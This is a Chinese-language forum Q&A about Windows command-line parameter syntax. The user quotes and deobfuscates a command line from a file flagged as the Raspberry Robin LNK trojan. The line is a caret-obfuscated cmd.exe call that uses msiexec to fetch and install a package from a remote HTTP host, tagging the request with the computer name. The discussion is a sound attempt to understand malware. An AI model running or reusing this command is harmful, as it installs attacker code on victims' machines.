iT邦幫忙

0

windows command

  • 分享至 

  • xImage

自習中發現的一件事,比如Xcopy指令 :
XCOPY source [destination] [/A | /M] [/D[:date]] [/P] [/S [/E]] [/V] [/W]
[/C] [/I] [/Q] [/F] [/L] [/G] [/H] [/R] [/T] [/U]
[/K] [/N] [/O] [/X] [/Y] [/-Y] [/Z] [/B] [/J]
[/EXCLUDE:file1[+file2][+file3]...]
有一些參數可以調用。但某天不小心觸碰了新的東西。如圖 : https://ithelp.ithome.com.tw/upload/images/20221223/20109333sH2IqdAwHf.jpg
這個狀況我該怎麼理解 ? 是一個參數辨識為指令,兩個參數會自動辨認為對應位置 ? 還是會因為調用參數而辨識是使用甚麼指令 ?

有試著丟去餵google,但不知道要怎麼餵才會有大約能理解的解答。就馬上先來這裡詢問各位先進。/images/emoticon/emoticon02.gif

--------------追加-------------

看了先進們的回應,回想了一些東西,我知道我應該又在問奇怪的問題(或是我提問的方式有誤)。
linux的shell script檔案,通常可能是比如 /home/user1/Imashfile.sh 這樣就會執行該檔案。但這裡還能理解是在做shell command。

最近在工作的地方抓了一個被掃出 Lnk.Trojan.RaspberryRobin-9949891-1 的植入檔案。
看到該檔案在做的事情是這樣的 :

C:\WINDOWS\system32\cmd.exe %comspec% /d/y/V /CSta^r^TmSI^E^x^EC -^q	^L^V^W=^z^u	/^P^a^C^k^AGE	"HtTP://6t.Pm:8080/BdBf0iDtSLMumS3ghkEIJTUcbQu0iVq4L4H/!cOmpuTernamE!"	^VTK^n^p=zh

用windows執行%conspec%會叫出cmd視窗---查了一下是windows的環境變數。單獨丟入/CSta^r^TmSI^E^x^EC,會得到/CStarTmSIExEC,那試著假設整個要做的事情應該會是

C:\WINDOWS\system32\cmd.exe %comspec% /d/y/V /CStarTmSIExEC -q	LVW=zu	/PaCkAGE "HtTP://6t.Pm:8080/BdBf0iDtSLMumS3ghkEIJTUcbQu0iVq4L4H/!cOmpuTernamE!"	VTKnp=zh

原意是想從中看能不能學到一些可以用的東西。現在是看不懂 /d/y/V 這裡要做的到底是甚麼事情...是/d/y/V在使用之前,環境變數已經被定義了,還是在這裡是在做其他事情 ?

看更多先前的討論...收起先前的討論...
froce iT邦大師 1 級 ‧ 2022-12-23 10:14:13 檢舉
/y /d,兩個參數中間要加空白
參數是/後面加上指令,你兩個都在一起被認為是指令了
player iT邦大師 1 級 ‧ 2022-12-23 10:36:18 檢舉
用法說明
xcopy /?

還有命令列的
每個命令只能串在同一行裡,不可斷行
參數用半形空白字元隔開
如果遇到參數要傳入的檔名或路徑有空白字元的話,那個參數再用雙引號字元 " 包起來
froce iT邦大師 1 級 ‧ 2022-12-23 13:52:23 檢舉
這看起來是要去安裝一個額外的msi。
cmd.exe的參數。/y應該是讓預設的提問都是yes
https://learn.microsoft.com/zh-tw/windows-server/administration/windows-commands/cmd
snameless iT邦新手 4 級 ‧ 2022-12-23 14:02:31 檢舉
感謝,看到您提供的連結內容,雖然/y的部分網頁內容沒有解釋,但大致上懂了
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

2 個回答

1
zero
iT邦好手 1 級 ‧ 2022-12-23 14:17:22
最佳解答

你追加的資訊才是真正你想問的,跟上面的XCOPY根本毫無關聯

你想了解這段指令在做什麼
C:\WINDOWS\system32\cmd.exe %comspec% /d/y/V /CSta^r^TmSI^E^x^EC -^q

首先前面的C:\WINDOWS\system32\cmd.exe這段可以得知他是CMD的狀態下執行

重點是CMD又呼叫了%comspec%變數,如果單純乾淨的Windows下,

這個變數剛好又是CMD的路徑
https://ithelp.ithome.com.tw/upload/images/20221223/20022284BM1ia0gl3z.jpg

如果是這樣,"正常情況下你要去找CMD的參數",

https://ithelp.ithome.com.tw/upload/images/20221223/20022284qFnJIo9yCo.jpg

然後你要做的事情可能毫無意義,我只能推測你根本是想知道惡意程式在做什麼

從上面的指令看來,單純的就是CMD又呼叫了一次CMD起來做事情,

但是參數跟CMD湊不起來,因為變數本來就可以運行CMD前定義或者運行後額外定義

就下底下我直接把Hello宣告成變數,讓他跟CMD的路徑一樣

https://ithelp.ithome.com.tw/upload/images/20221223/20022284JpNg3tdFl8.jpg

所以要嘛CMD已經被動過手腳改變過,所以可以認得/d/y/V參數要做什麼,

不然就是已經定義成別的執行檔,然後再把/d/y/V參數塞給它

除非你有其他更詳細的資料去分析它,不然單純只靠這樣的LOG想了解幫助不大

snameless iT邦新手 4 級 ‧ 2022-12-23 16:44:06 檢舉

XCOPY是我原先想借用以說明參數的部分。原先是可以理解通常這類有參數的功能,通常都是要空一格,多數是 -x -y 或是 /x /y 這樣的形式。對於CMD本身能用一些參數的觀念我完全不知道。而且表示形式又是 /x/y 沒有空格間隔的表示。我想知道,是不是有其他我不知道的東西。可以這樣子使用參數(餵google沒有理想的結果),確實也是從force提供的連結才得知我不知道的東西。
本意也是想知道惡意程式在做甚麼,以及可以從中看到那些可以另外應用的功能或想法。可能有知道的,也有可能有不知道的。
最佳解答我直接給你了。感謝各位先進解惑。

1

-- 重新編輯,誤會問題了 --
我有點誤會你的問題了。回答的有點快

這邊重新說明一下。

正常在WINDOW下,路徑的標識符是「\」
但其實「/」會被有條件式的視為路徑標識符。

當一個字串中有包含兩個「/」並連結無空白的情況下。
則CMD其實會試著做路徑連結的指向處理。

這其實我在早期有不小心發現到。因為在LINUX中都是用「/」
有時我會COPY指令過來時。居然可過。

有注意到其實WINDOW系統也會將「/」視為一種路徑連結的表現。
但要符合某些必要的情況才會。
但符合怎麼樣的條件我沒去研究就是了。

其實有些指令。也可以用「/」來當路徑指向。但有些就不行。

snameless iT邦新手 4 級 ‧ 2022-12-23 17:00:08 檢舉

這個點我也有發現,因為工作方面有其他更重要的事情要優先學習處理,以至於這個問題一直被遺忘在某一個想不起來的角落。
感謝先進提點。

我要發表回答

立即登入回答